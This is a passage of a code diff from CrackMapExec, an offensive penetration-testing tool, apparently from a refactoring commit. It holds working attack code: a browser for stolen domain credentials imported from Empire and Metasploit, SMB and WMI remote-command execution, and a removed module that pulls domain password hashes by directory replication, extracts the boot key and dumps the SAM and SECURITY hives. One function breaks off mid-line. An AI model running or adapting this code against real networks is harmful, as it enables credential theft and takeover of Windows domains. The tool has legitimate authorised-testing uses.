cur.execute("SELECT * FROM users WHERE LOWER(username) LIKE LOWER(?)", ['%{}%'.format(filterTerm)])
else:
cur.execute("SELECT * FROM users")
results = cur.fetchall()
cur.close()
return results
def is_host_valid(self, hostID):
"""
Check if this host ID is valid.
"""
cur = self.conn.cursor()
cur.execute('SELECT * FROM computers WHERE id=? LIMIT 1', [hostID])
results = cur.fetchall()
cur.close()
return len(results) > 0
def get_hosts(self, filterTerm=None):
"""
Return hosts from the database.
"""
cur = self.conn.cursor()
# if we're returning a single host by ID
if self.is_host_valid(filterTerm):
cur.execute("SELECT * FROM computers WHERE id=? LIMIT 1", [filterTerm])
# if we're filtering by ip/hostname
elif filterTerm and filterTerm != "":
cur.execute("SELECT * FROM computers WHERE ip LIKE ? OR LOWER(hostname) LIKE LOWER(?)", ['%{}%'.format(filterTerm), '%{}%'.format(filterTerm)])
# otherwise return all credentials
else:
cur.execute("SELECT * FROM computers")
results = cur.fetchall()
cur.close()
return results
def get_group_members(self, groupID):
cur = self.conn.cursor()
cur.execute("SELECT * from group_relations WHERE groupid=?", [groupID])
results = cur.fetchall()
cur.close()
return results
def is_group_valid(self, groupID):
"""
Check if this group ID is valid.
"""
cur = self.conn.cursor()
cur.execute('SELECT * FROM groups WHERE id=? LIMIT 1', [groupID])
results = cur.fetchall()
cur.close()
return len(results) > 0
def get_groups(self, filterTerm=None):
"""
Return groups from the database
"""
cur = self.conn.cursor()
if self.is_group_valid(filterTerm):
cur.execute("SELECT * FROM groups WHERE id=? LIMIT 1", [filterTerm])
elif filterTerm and filterTerm !="":
cur.execute("SELECT * FROM groups WHERE LOWER(name) LIKE LOWER(?)", ['%{}%'.format(filterTerm)])
else:
cur.execute("SELECT * FROM groups")
results = cur.fetchall()
cur.close()
return results

View File

@ -0,0 +1,365 @@
import requests
from requests import ConnectionError
#The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import cmd
from time import sleep
from cme.msfrpc import Msfrpc
from cme.protocols.smb.database import database
class navigator(cmd.Cmd):
def __init__(self, main_menu):
cmd.Cmd.__init__(self)
self.main_menu = main_menu
self.config = main_menu.config
self.db = database(main_menu.conn)
self.prompt = 'cmedb ({})({}) > '.format(main_menu.workspace, 'smb')
def do_back(self, line):
raise
def display_creds(self, creds):
print "\nCredentials:\n"
print " CredID Admin On CredType Domain UserName Password"
print " ------ -------- -------- ------ -------- --------"
for cred in creds:
# (id, credtype, domain, username, password, host, notes, sid)
credID = cred[0]
credType = cred[1]
domain = cred[2]
username = cred[3]
password = cred[4]
links = self.db.get_links(credID=credID)
print u" {}{}{}{}{}{}".format('{:<8}'.format(credID),
'{:<13}'.format(str(len(links)) + ' Host(s)'),
'{:<12}'.format(credType),
u'{:<17}'.format(domain.decode('utf-8')),
u'{:<21}'.format(username.decode('utf-8')),
u'{:<17}'.format(password.decode('utf-8')))
print ""
def display_groups(self, groups):
print '\nGroups:\n'
print " GroupID Name"
print " ------- ----"
for group in groups:
groupID = group[0]
name = group[1]
print u" {} {}".format('{:<8}'.format(groupID), '{:<15}'.format(name))
print ""
def display_hosts(self, hosts):
print "\nHosts:\n"
print " HostID Admins IP Hostname Domain OS"
print " ------ ------ -- -------- ------ --"
for host in hosts:
# (id, ip, hostname, domain, os)
hostID = host[0]
ip = host[1]
hostname = host[2]
domain = host[3]
os = host[4]
links = self.db.get_links(hostID=hostID)
print u" {}{}{}{}{}{}".format('{:<8}'.format(hostID),
'{:<15}'.format(str(len(links)) + ' Cred(s)'),
'{:<17}'.format(ip),
u'{:<25}'.format(hostname.decode('utf-8')),
u'{:<17}'.format(domain.decode('utf-8')),
'{:<17}'.format(os))
print ""
def do_import(self, line):
if not line:
return
if line == 'empire':
headers = {'Content-Type': 'application/json'}
#Pull the username and password from the config file
payload = {'username': self.config.get('Empire', 'username'),
'password': self.config.get('Empire', 'password')}
#Pull the host and port from the config file
base_url = 'https://{}:{}'.format(self.config.get('Empire', 'api_host'), self.config.get('Empire', 'api_port'))
try:
r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False)
if r.status_code == 200:
token = r.json()['token']
url_params = {'token': token}
r = requests.get(base_url + '/api/creds', headers=headers, params=url_params, verify=False)
creds = r.json()
for cred in creds['creds']:
if cred['credtype'] == 'token' or cred['credtype'] == 'krbtgt' or cred['username'].endswith('$'):
continue
self.db.add_credential(cred['credtype'], cred['domain'], cred['username'], cred['password'])
print "[+] Empire credential import successful"
else:
print "[-] Error authenticating to Empire's RESTful API server!"
except ConnectionError as e:
print "[-] Unable to connect to Empire's RESTful API server: {}".format(e)
elif line == 'metasploit':
msf = Msfrpc({'host': self.config.get('Metasploit', 'rpc_host'),
'port': self.config.get('Metasploit', 'rpc_port')})
try:
msf.login('msf', self.config.get('Metasploit', 'password'))
except MsfAuthError:
print "[-] Error authenticating to Metasploit's MSGRPC server!"
return
console_id = str(msf.call('console.create')['id'])
msf.call('console.write', [console_id, 'creds\n'])
sleep(2)
creds = msf.call('console.read', [console_id])
for entry in creds['data'].split('\n'):
cred = entry.split()
try:
host = cred[0]
port = cred[2]
proto = cred[3]
username = cred[4]
password = cred[5]
cred_type = cred[6]
if proto == '(smb)' and cred_type == 'Password':
self.db.add_credential('plaintext', '', username, password)
except IndexError:
continue
msf.call('console.destroy', [console_id])
print "[+] Metasploit credential import successful"
def complete_import(self, text, line, begidx, endidx):
"Tab-complete 'import' commands."
commands = ["empire", "metasploit"]
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in commands if s.startswith(mline)]
def do_groups(self, line):
filterTerm = line.strip()
if filterTerm == "":
groups = self.db.get_groups()
self.display_groups(groups)
else:
groups = self.db.get_groups(filterTerm=filterTerm)
if len(groups) > 1:
self.display_groups(groups)
elif len(groups) == 1:
print '\nGroup:\n'
print " GroupID Name"
print " ------- ----"
for group in groups:
groupID = group[0]
name = group[1]
members = self.db_
def do_hosts(self, line):
filterTerm = line.strip()
if filterTerm == "":
hosts = self.db.get_hosts()
self.display_hosts(hosts)
else:
hosts = self.db.get_hosts(filterTerm=filterTerm)
if len(hosts) > 1:
self.display_hosts(hosts)
elif len(hosts) == 1:
print "\nHost(s):\n"
print " HostID IP DC Hostname Domain OS"
print " ------ -- -- -------- ------ --"
hostIDList = []
for host in hosts:
hostID = host[0]
hostIDList.append(hostID)
ip = host[1]
hostname = host[2]
domain = host[3]
os = host[4]
dc = host[5]
print u" {}{}{}{}{}".format('{:<8}'.format(hostID),
'{:<17}'.format(ip),
'{:<17}'.format(dc),
u'{:<25}'.format(hostname.decode('utf-8')),
u'{:<17}'.format(domain.decode('utf-8')),
'{:<17}'.format(os))
print ""
print "\nCredential(s) with Admin Access:\n"
print " CredID CredType Domain UserName Password"
print " ------ -------- ------ -------- --------"
for hostID in hostIDList:
links = self.db.get_links(hostID=hostID)
for link in links:
linkID, credID, hostID = link
creds = self.db.get_credentials(filterTerm=credID)
for cred in creds:
credID = cred[0]
credType = cred[1]
domain = cred[2]
username = cred[3]
password = cred[4]
print u" {}{}{}{}{}".format('{:<8}'.format(credID),
'{:<12}'.format(credType),
u'{:<17}'.format(domain.decode('utf-8')),
u'{:<21}'.format(username.decode('utf-8')),
u'{:<17}'.format(password.decode('utf-8')))
print ""
def do_creds(self, line):
filterTerm = line.strip()
if filterTerm == "":
creds = self.db.get_credentials()
self.display_creds(creds)
elif filterTerm.split()[0].lower() == "add":
# add format: "domain username password <notes> <credType> <sid>
args = filterTerm.split()[1:]
if len(args) == 3:
domain, username, password = args
if validate_ntlm(password):
self.db.add_credential("hash", domain, username, password)
else:
self.db.add_credential("plaintext", domain, username, password)
else:
print "[!] Format is 'add domain username password"
return
elif filterTerm.split()[0].lower() == "remove":
args = filterTerm.split()[1:]
if len(args) != 1 :
print "[!] Format is 'remove <credID>'"
return
else:
self.db.remove_credentials(args)
self.db.remove_links(credIDs=args)
elif filterTerm.split()[0].lower() == "plaintext":
creds = self.db.get_credentials(credtype="plaintext")
self.display_creds(creds)
elif filterTerm.split()[0].lower() == "hash":
creds = self.db.get_credentials(credtype="hash")
self.display_creds(creds)
else:
creds = self.db.get_credentials(filterTerm=filterTerm)
print "\nCredential(s):\n"
print " CredID CredType Pillaged From HostID Domain UserName Password"
print " ------ -------- -------------------- ------ -------- --------"
credIDList = []
for cred in creds:
credID = cred[0]
credIDList.append(credID)
credType = cred[1]
domain = cred[2]
username = cred[3]
password = cred[4]
pillaged_from = cred[5]
print u" {}{}{}{}{}{}".format('{:<8}'.format(credID),
'{:<12}'.format(credType),
'{:<22}'.format(pillaged_from),
u'{:<17}'.format(domain.decode('utf-8')),
u'{:<21}'.format(username.decode('utf-8')),
u'{:<17}'.format(password.decode('utf-8'))
)
print ""
print "\nAdmin Access to Host(s):\n"
print " HostID IP Hostname Domain OS"
print " ------ -- -------- ------ --"
for credID in credIDList:
links = self.db.get_links(credID=credID)
for link in links:
linkID, credID, hostID = link
hosts = self.db.get_hosts(hostID)
for host in hosts:
hostID = host[0]
ip = host[1]
hostname = host[2]
domain = host[3]
os = host[4]
print u" {}{}{}{}{}".format('{:<8}'.format(hostID),
'{:<17}'.format(ip),
u'{:<25}'.format(hostname.decode('utf-8')),
u'{:<17}'.format(domain.decode('utf-8')),
'{:<17}'.format(os))
print ""
def complete_creds(self, text, line, begidx, endidx):
"Tab-complete 'creds' commands."
commands = [ "add", "remove", "hash", "plaintext"]
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in commands if s.startswith(mline)]

0
cme/remotefile.py → cme/protocols/smb/remotefile.py Normal file → Executable file
View File

View File

@ -3,7 +3,7 @@ import os
from gevent import sleep
from impacket.dcerpc.v5 import transport, scmr
from impacket.smbconnection import *
from cme.helpers import gen_random_string
from cme.helpers.misc import gen_random_string
class SMBEXEC:
@ -44,7 +44,7 @@ class SMBEXEC:
logging.debug('StringBinding %s'%stringbinding)
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
self.__rpctransport.set_dport(self.__port)
if hasattr(self.__rpctransport, 'setRemoteHost'):
self.__rpctransport.setRemoteHost(self.__host)
if hasattr(self.__rpctransport, 'set_credentials'):
@ -101,7 +101,7 @@ class SMBEXEC:
self.get_output_fileless()
def get_output_fileless(self):
if not self.__retOutput: return
if not self.__retOutput: return
while True:
try:
@ -115,7 +115,7 @@ class SMBEXEC:
# Just in case the service is still created
try:
self.__scmr = self.__rpctransport.get_dce_rpc()
self.__scmr.connect()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']

View File

@ -1,8 +1,9 @@
from time import time, strftime, localtime
from cme.remotefile import RemoteFile
from cme.protocols.smb.remotefile import RemoteFile
from impacket.smb3structs import FILE_READ_DATA
from impacket.smbconnection import SessionError
from sys import exit
import logging
import re
import traceback
@ -57,9 +58,8 @@ class SMBSpider:
return
except SessionError as e:
if not filelist:
self.logger.error("Failed to connect to share {}: {}".format(self.args.share, e))
return
pass
logging.debug("Failed listing files on share {} in directory {}: {}".format(self.args.share, subfolder, e))
return
for result in filelist:
if result.is_directory() and result.get_longname() != '.' and result.get_longname() != '..':
@ -103,12 +103,9 @@ class SMBSpider:
return
def search_content(self, path, result):
path = path.replace('*', '')
path = path.replace('*', '')
try:
rfile = RemoteFile(self.smbconnection,
path + result.get_longname(),
self.args.share,
access = FILE_READ_DATA)
rfile = RemoteFile(self.smbconnection, path + result.get_longname(), self.args.share, access = FILE_READ_DATA)
rfile.open()
while True:
@ -130,7 +127,7 @@ class SMBSpider:
self.logger.highlight(u"//{}/{}{} [lastm:'{}' size:{} offset:{} pattern:'{}']".format(self.args.share,
path,
result.get_longname(),
'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result),
'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result),
result.get_filesize(),
rfile.tell(),
pattern))
@ -141,7 +138,7 @@ class SMBSpider:
self.logger.highlight(u"//{}/{}{} [lastm:'{}' size:{} offset:{} regex:'{}']".format(self.args.share,
path,
result.get_longname(),
'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result),
'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result),
result.get_filesize(),
rfile.tell(),
regex.pattern))
@ -156,4 +153,4 @@ class SMBSpider:
traceback.print_exc()
def finish(self):
self.logger.info("Done spidering (Completed in {})".format(time() - self.start_time))
self.logger.info("Done spidering (Completed in {})".format(time() - self.start_time))

View File

@ -2,7 +2,7 @@ import ntpath, logging
import os
from gevent import sleep
from cme.helpers import gen_random_string
from cme.helpers.misc import gen_random_string
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
@ -34,7 +34,7 @@ class WMIEXEC:
self.__nthash = hashes
if self.__password is None:
self.__password = ''
self.__password = ''
self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos)
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
@ -80,7 +80,7 @@ class WMIEXEC:
def execute_remote(self, data):
self.__output = '\\Windows\\Temp\\' + gen_random_string(6)
command = self.__shell + data
command = self.__shell + data
if self.__retOutput:
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
@ -125,4 +125,4 @@ class WMIEXEC:
#print str(e)
pass
self.__smbconnection.deleteFile(self.__share, self.__output)
self.__smbconnection.deleteFile(self.__share, self.__output)

View File

@ -1,509 +0,0 @@
import logging
import random
import string
from gevent import sleep
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import transport, drsuapi, scmr, rrp, samr, epm
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.dtypes import NULL
from cme.credentials.ntds import NTDSHashes
from binascii import unhexlify, hexlify
from cme.remotefile import RemoteFile
class RemoteOperations:
def __init__(self, smbConnection, doKerberos):
self.__smbConnection = smbConnection
self.__smbConnection.setTimeout(5*60)
self.__serviceName = 'RemoteRegistry'
self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
self.__rrp = None
self.__regHandle = None
self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]'
self.__samr = None
self.__domainHandle = None
self.__domainName = None
self.__drsr = None
self.__hDrs = None
self.__NtdsDsaObjectGuid = None
self.__ppartialAttrSet = None
self.__prefixTable = []
self.__doKerberos = doKerberos
self.__bootKey = ''
self.__disabled = False
self.__shouldStop = False
self.__started = False
self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
self.__scmr = None
self.__tmpServiceName = None
self.__serviceDeleted = False
self.__batchFile = '%TEMP%\\execute.bat'
self.__shell = '%COMSPEC% /Q /c '
self.__output = '%SYSTEMROOT%\\Temp\\__output'
self.__answerTMP = ''
def __connectSvcCtl(self):
rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
rpc.set_smb_connection(self.__smbConnection)
self.__scmr = rpc.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
def __connectWinReg(self):
rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)
rpc.set_smb_connection(self.__smbConnection)
self.__rrp = rpc.get_dce_rpc()
self.__rrp.connect()
self.__rrp.bind(rrp.MSRPC_UUID_RRP)
def connectSamr(self, domain):
rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)
rpc.set_smb_connection(self.__smbConnection)
self.__samr = rpc.get_dce_rpc()
self.__samr.connect()
self.__samr.bind(samr.MSRPC_UUID_SAMR)
resp = samr.hSamrConnect(self.__samr)
serverHandle = resp['ServerHandle']
resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)
resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])
self.__domainHandle = resp['DomainHandle']
self.__domainName = domain
def __connectDrds(self):
stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI,
protocol='ncacn_ip_tcp')
rpc = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpc, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpc.set_credentials(*(self.__smbConnection.getCredentials()))
rpc.set_kerberos(self.__doKerberos)
self.__drsr = rpc.get_dce_rpc()
self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if self.__doKerberos:
self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.__drsr.connect()
self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)
request = drsuapi.DRSBind()
request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
drs = drsuapi.DRS_EXTENSIONS_INT()
drs['cb'] = len(drs) #- 4
drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | drsuapi.DRS_EXT_STRONG_ENCRYPTION
drs['SiteObjGuid'] = drsuapi.NULLGUID
drs['Pid'] = 0
drs['dwReplEpoch'] = 0
drs['dwFlagsExt'] = 0
drs['ConfigObjGUID'] = drsuapi.NULLGUID
drs['dwExtCaps'] = 127
request['pextClient']['cb'] = len(drs)
request['pextClient']['rgb'] = list(str(drs))
resp = self.__drsr.request(request)
if logging.getLogger().level == logging.DEBUG:
logging.debug('DRSBind() answer')
resp.dump()
self.__hDrs = resp['phDrs']
# Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2)
if logging.getLogger().level == logging.DEBUG:
logging.debug('DRSDomainControllerInfo() answer')
resp.dump()
if resp['pmsgOut']['V2']['cItems'] > 0:
self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
else:
logging.error("Couldn't get DC info for domain %s" % self.__domainName)
raise Exception('Fatal, aborting')
def getDrsr(self):
return self.__drsr
def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''):
if self.__drsr is None:
self.__connectDrds()
resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
return resp
def DRSGetNCChanges(self, userEntry):
if self.__drsr is None:
self.__connectDrds()
request = drsuapi.DRSGetNCChanges()
request['hDrs'] = self.__hDrs
request['dwInVersion'] = 8
request['pmsgIn']['tag'] = 8
request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid
dsName = drsuapi.DSNAME()
dsName['SidLen'] = 0
dsName['Guid'] = drsuapi.NULLGUID
dsName['Sid'] = ''
dsName['NameLen'] = len(userEntry)
dsName['StringName'] = (userEntry + '\x00')
dsName['structLen'] = len(dsName.getData())
request['pmsgIn']['V8']['pNC'] = dsName
request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0
request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL
request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
request['pmsgIn']['V8']['cMaxObjects'] = 1
request['pmsgIn']['V8']['cMaxBytes'] = 0
request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
if self.__ppartialAttrSet is None:
self.__prefixTable = []
self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()
self.__ppartialAttrSet['dwVersion'] = 1
self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID)
for attId in NTDSHashes.ATTRTYP_TO_ATTID.values():
self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))
request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet
request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)
request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable
request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL
return self.__drsr.request(request)
def getDomainUsers(self, enumerationContext=0):
if self.__samr is None:
self.connectSamr(self.getMachineNameAndDomain()[1])
try:
resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,
userAccountControl=samr.USER_NORMAL_ACCOUNT | \
samr.USER_WORKSTATION_TRUST_ACCOUNT | \
samr.USER_SERVER_TRUST_ACCOUNT |\
samr.USER_INTERDOMAIN_TRUST_ACCOUNT,
enumerationContext=enumerationContext)
except DCERPCException, e:
if str(e).find('STATUS_MORE_ENTRIES') < 0:
raise
resp = e.get_packet()
return resp
def ridToSid(self, rid):
if self.__samr is None:
self.connectSamr(self.getMachineNameAndDomain()[1])
resp = samr.hSamrRidToSid(self.__samr, self.__domainHandle , rid)
return resp['Sid']
def getMachineNameAndDomain(self):
if self.__smbConnection.getServerName() == '':
# No serverName.. this is either because we're doing Kerberos
# or not receiving that data during the login process.
# Let's try getting it through RPC
rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]')
rpc.set_smb_connection(self.__smbConnection)
dce = rpc.get_dce_rpc()
dce.connect()
dce.bind(wkst.MSRPC_UUID_WKST)
resp = wkst.hNetrWkstaGetInfo(dce, 100)
dce.disconnect()
return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100']['wki100_langroup'][:-1]
else:
return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()
def getDefaultLoginAccount(self):
try:
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
keyHandle = ans['phkResult']
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')
username = dataValue[:-1]
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')
domain = dataValue[:-1]
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
if len(domain) > 0:
return '%s\\%s' % (domain,username)
else:
return username
except:
return None
def getServiceAccount(self, serviceName):
try:
# Open the service
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)
serviceHandle = ans['lpServiceHandle']
resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)
account = resp['lpServiceConfig']['lpServiceStartName'][:-1]
scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)
if account.startswith('.\\'):
account = account[2:]
return account
except Exception, e:
logging.error(e)
return None
def __checkServiceStatus(self):
# Open SC Manager
ans = scmr.hROpenSCManagerW(self.__scmr)
self.__scManagerHandle = ans['lpScHandle']
# Now let's open the service
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
self.__serviceHandle = ans['lpServiceHandle']
# Let's check its status
ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
logging.info('Service %s is in stopped state'% self.__serviceName)
self.__shouldStop = True
self.__started = False
elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
logging.debug('Service %s is already running'% self.__serviceName)
self.__shouldStop = False
self.__started = True
else:
raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])
# Let's check its configuration if service is stopped, maybe it's disabled :s
if self.__started is False:
ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)
if ans['lpServiceConfig']['dwStartType'] == 0x4:
logging.info('Service %s is disabled, enabling it'% self.__serviceName)
self.__disabled = True
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)
logging.info('Starting service %s' % self.__serviceName)
scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)
sleep(1)
def enableRegistry(self):
self.__connectSvcCtl()
self.__checkServiceStatus()
self.__connectWinReg()
def __restore(self):
# First of all stop the service if it was originally stopped
if self.__shouldStop is True:
logging.info('Stopping service %s' % self.__serviceName)
scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
if self.__disabled is True:
logging.info('Restoring the disabled state for service %s' % self.__serviceName)
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)
if self.__serviceDeleted is False:
# Check again the service we created does not exist, starting a new connection
# Why?.. Hitting CTRL+C might break the whole existing DCE connection
try:
rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost())
if hasattr(rpc, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpc.set_credentials(*self.__smbConnection.getCredentials())
rpc.set_kerberos(self.__doKerberos)
self.__scmr = rpc.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
# Open SC Manager
ans = scmr.hROpenSCManagerW(self.__scmr)
self.__scManagerHandle = ans['lpScHandle']
# Now let's open the service
resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)
service = resp['lpServiceHandle']
scmr.hRDeleteService(self.__scmr, service)
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
scmr.hRCloseServiceHandle(self.__scmr, service)
scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)
scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)
rpc.disconnect()
except Exception, e:
# If service is stopped it'll trigger an exception
# If service does not exist it'll trigger an exception
# So. we just wanna be sure we delete it, no need to
# show this exception message
pass
def finish(self):
self.__restore()
if self.__rrp is not None:
self.__rrp.disconnect()
if self.__drsr is not None:
self.__drsr.disconnect()
if self.__samr is not None:
self.__samr.disconnect()
if self.__scmr is not None:
self.__scmr.disconnect()
def getBootKey(self):
bootKey = ''
ans = rrp.hOpenLocalMachine(self.__rrp)
self.__regHandle = ans['phKey']
for key in ['JD','Skew1','GBG','Data']:
logging.debug('Retrieving class info for %s'% key)
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key)
keyHandle = ans['phkResult']
ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle)
bootKey = bootKey + ans['lpClassOut'][:-1]
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
bootKey = unhexlify(bootKey)
for i in xrange(len(bootKey)):
self.__bootKey += bootKey[transforms[i]]
logging.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey))
return self.__bootKey
def checkNoLMHashPolicy(self):
logging.debug('Checking NoLMHash Policy')
ans = rrp.hOpenLocalMachine(self.__rrp)
self.__regHandle = ans['phKey']
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
keyHandle = ans['phkResult']
try:
dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')
except:
noLMHash = 0
if noLMHash != 1:
logging.debug('LMHashes are being stored')
return False
logging.debug('LMHashes are NOT being stored')
return True
def __retrieveHive(self, hiveName):
tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
ans = rrp.hOpenLocalMachine(self.__rrp)
regHandle = ans['phKey']
try:
ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName)
except:
raise Exception("Can't open %s hive" % hiveName)
keyHandle = ans['phkResult']
rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName)
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
rrp.hBaseRegCloseKey(self.__rrp, regHandle)
# Now let's open the remote file, so it can be read later
remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName)
return remoteFileName
def saveSAM(self):
logging.debug('Saving remote SAM database')
return self.__retrieveHive('SAM')
def saveSECURITY(self):
logging.debug('Saving remote SECURITY database')
return self.__retrieveHive('SECURITY')
def __executeRemote(self, data):
self.__tmpServiceName = ''.join([random.choice(string.letters) for _ in range(8)]).encode('utf-16le')
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
command += ' & ' + 'del ' + self.__batchFile
self.__serviceDeleted = False
resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, lpBinaryPathName=command)
service = resp['lpServiceHandle']
try:
scmr.hRStartServiceW(self.__scmr, service)
except:
pass
scmr.hRDeleteService(self.__scmr, service)
self.__serviceDeleted = True
scmr.hRCloseServiceHandle(self.__scmr, service)
def __answer(self, data):
self.__answerTMP += data
def __getLastVSS(self):
self.__executeRemote('%COMSPEC% /C vssadmin list shadows')
sleep(5)
tries = 0
while True:
try:
self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
break
except Exception, e:
if tries > 30:
# We give up
raise Exception('Too many tries trying to list vss shadows')
